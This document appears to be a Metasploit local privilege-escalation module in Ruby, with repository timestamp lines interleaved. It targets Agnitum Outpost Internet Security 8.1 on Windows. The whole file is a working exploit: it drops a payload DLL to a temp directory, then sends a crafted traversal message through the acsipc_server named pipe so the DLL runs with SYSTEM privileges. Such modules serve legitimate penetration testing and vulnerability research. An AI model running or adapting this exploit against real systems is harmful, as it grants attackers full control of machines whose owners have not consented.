2013-09-11 05:11:00 +00:00
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##
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2013-10-15 18:50:46 +00:00
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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2013-09-11 05:11:00 +00:00
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Process
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info, {
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'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',
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'Description' => %q{
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This module exploits a directory traversal vulnerability on Agnitum Outpost Internet
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2013-09-16 20:50:00 +00:00
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Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load
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2013-09-11 05:11:00 +00:00
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load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary
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code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with
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Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Ahmad Moghimi', # Vulnerability discovery
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'juan vazquez' # MSF module
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ],
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'Privileged' => true,
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'Targets' =>
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[
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[ 'Agnitum Outpost Internet Security 8.1', { } ],
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],
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'Payload' =>
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{
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'Space' => 2048,
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'DisableNops' => true
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},
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'References' =>
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[
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[ 'OSVDB', '96208' ],
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[ 'EDB', '27282' ],
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[ 'URL', 'http://mallocat.com/a-journey-to-antivirus-escalation/' ]
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],
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'DisclosureDate' => 'Aug 02 2013',
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'DefaultTarget' => 0
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}))
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register_options([
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# It is OptPath becuase it's a *remote* path
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OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]),
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# By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\
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OptInt.new("DEPTH", [ true, "Traversal depth", 3 ])
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], self.class)
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end
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2013-09-11 14:33:01 +00:00
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def junk
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return rand_text_alpha(4).unpack("V").first
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2013-09-11 05:11:00 +00:00
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end
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def open_named_pipe(pipe)
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invalid_handle_value = 0xFFFFFFFF
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r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)
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handle = r['return']
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if handle == invalid_handle_value
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return nil
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end
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return handle
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end
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def write_named_pipe(handle, dll_path, dll_name)
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traversal_path = "..\\" * datastore["DEPTH"]
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traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "")
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traversal_path << "\\#{dll_name}"
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path = Rex::Text.to_unicode(traversal_path)
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data = "\x00" * 0x11
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data << path
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data << "\x00\x00"
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data << "\x00\x00\x00"
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buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler
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buf << [0x17].pack("V") # command
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buf << [junk].pack("V")
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buf << [data.length].pack("V")
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buf << [0, 0, 0].pack("V*")
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buf << data
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w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil)
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if w['return'] == false
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print_error("The was an error writing to disk, check permissions")
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return nil
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end
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return w['lpNumberOfBytesWritten']
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end
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def check
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handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
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if handle.nil?
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return Exploit::CheckCode::Safe
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end
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session.railgun.kernel32.CloseHandle(handle)
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return Exploit::CheckCode::Detected
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end
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def exploit
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temp_dir = ""
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print_status("Opening named pipe...")
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handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
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if handle.nil?
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fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found")
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else
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print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...")
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end
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if datastore["WritableDir"] and not datastore["WritableDir"].empty?
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temp_dir = datastore["WritableDir"]
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else
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2013-12-19 01:43:59 +00:00
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temp_dir = client.sys.config.getenv('TEMP')
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2013-09-11 05:11:00 +00:00
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end
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print_status("Using #{temp_dir} to drop malicious DLL...")
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begin
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cd(temp_dir)
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rescue Rex::Post::Meterpreter::RequestError
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session.railgun.kernel32.CloseHandle(handle)
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fail_with(Failure::Config, "Failed to use the #{temp_dir} directory")
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end
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print_status("Writing malicious DLL to remote filesystem")
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write_path = pwd
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dll_name = "#{rand_text_alpha(10 + rand(10))}.dll"
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begin
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# Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem
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write_file(dll_name, generate_payload_dll)
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register_file_for_cleanup("#{write_path}\\#{dll_name}")
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rescue Rex::Post::Meterpreter::RequestError
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session.railgun.kernel32.CloseHandle(handle)
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fail_with(Failure::Config, "Failed to drop payload into #{temp_dir}")
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end
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print_status("Exploiting through \\\\.\\pipe\\acsipc_server...")
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bytes = write_named_pipe(handle, write_path, dll_name)
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session.railgun.kernel32.CloseHandle(handle)
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if bytes.nil?
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fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server")
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end
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end
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end
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